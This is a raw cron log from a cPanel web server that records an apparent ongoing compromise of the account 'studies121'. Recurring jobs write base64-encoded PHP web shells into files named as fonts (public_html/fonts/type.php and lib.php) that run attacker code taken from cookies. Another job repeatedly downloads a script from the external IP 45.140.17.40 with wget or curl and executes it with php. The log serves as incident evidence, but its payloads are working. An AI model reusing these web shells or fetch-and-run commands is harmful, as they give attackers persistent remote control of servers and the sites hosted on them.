Sep 22 09:17:01 ip-184-168-122-23 CROND[6867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:17:01 ip-184-168-122-23 CROND[6868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:17:01 ip-184-168-122-23 CROND[6869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:18:01 ip-184-168-122-23 CROND[7023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:18:01 ip-184-168-122-23 CROND[7024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:18:01 ip-184-168-122-23 CROND[7025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:18:01 ip-184-168-122-23 CROND[7028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:18:01 ip-184-168-122-23 CROND[7030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:19:01 ip-184-168-122-23 CROND[7204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:19:01 ip-184-168-122-23 CROND[7208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:19:01 ip-184-168-122-23 CROND[7207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:19:01 ip-184-168-122-23 CROND[7209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:20:01 ip-184-168-122-23 CROND[7349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:20:01 ip-184-168-122-23 CROND[7348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:20:01 ip-184-168-122-23 CROND[7351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:20:01 ip-184-168-122-23 CROND[7353]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 09:20:01 ip-184-168-122-23 CROND[7354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:20:01 ip-184-168-122-23 CROND[7357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:20:01 ip-184-168-122-23 CROND[7359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:20:01 ip-184-168-122-23 CROND[7358]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:20:01 ip-184-168-122-23 CROND[7356]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 09:21:01 ip-184-168-122-23 CROND[8436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:21:01 ip-184-168-122-23 CROND[8437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:21:02 ip-184-168-122-23 CROND[8439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:21:02 ip-184-168-122-23 CROND[8444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:22:01 ip-184-168-122-23 CROND[9181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:22:01 ip-184-168-122-23 CROND[9184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:22:01 ip-184-168-122-23 CROND[9185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:22:01 ip-184-168-122-23 CROND[9186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:22:01 ip-184-168-122-23 CROND[9187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:23:01 ip-184-168-122-23 CROND[9859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:23:01 ip-184-168-122-23 CROND[9858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:23:01 ip-184-168-122-23 CROND[9860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:23:01 ip-184-168-122-23 CROND[9861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:24:01 ip-184-168-122-23 CROND[10714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:24:01 ip-184-168-122-23 CROND[10715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:24:01 ip-184-168-122-23 CROND[10721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:24:01 ip-184-168-122-23 CROND[10720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:24:01 ip-184-168-122-23 CROND[10722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:25:01 ip-184-168-122-23 CROND[11510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:25:01 ip-184-168-122-23 CROND[11511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:25:01 ip-184-168-122-23 CROND[11514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:25:01 ip-184-168-122-23 CROND[11515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:25:01 ip-184-168-122-23 CROND[11517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:25:01 ip-184-168-122-23 CROND[11521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:26:01 ip-184-168-122-23 CROND[12017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:26:01 ip-184-168-122-23 CROND[12016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:26:01 ip-184-168-122-23 CROND[12018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:26:01 ip-184-168-122-23 CROND[12020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:26:01 ip-184-168-122-23 CROND[12019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:27:01 ip-184-168-122-23 CROND[12300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:27:01 ip-184-168-122-23 CROND[12301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:27:01 ip-184-168-122-23 CROND[12306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:27:01 ip-184-168-122-23 CROND[12307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:28:01 ip-184-168-122-23 CROND[12757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:28:02 ip-184-168-122-23 CROND[12758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:28:02 ip-184-168-122-23 CROND[12760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:28:02 ip-184-168-122-23 CROND[12759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:28:02 ip-184-168-122-23 CROND[12761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:29:01 ip-184-168-122-23 CROND[13229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
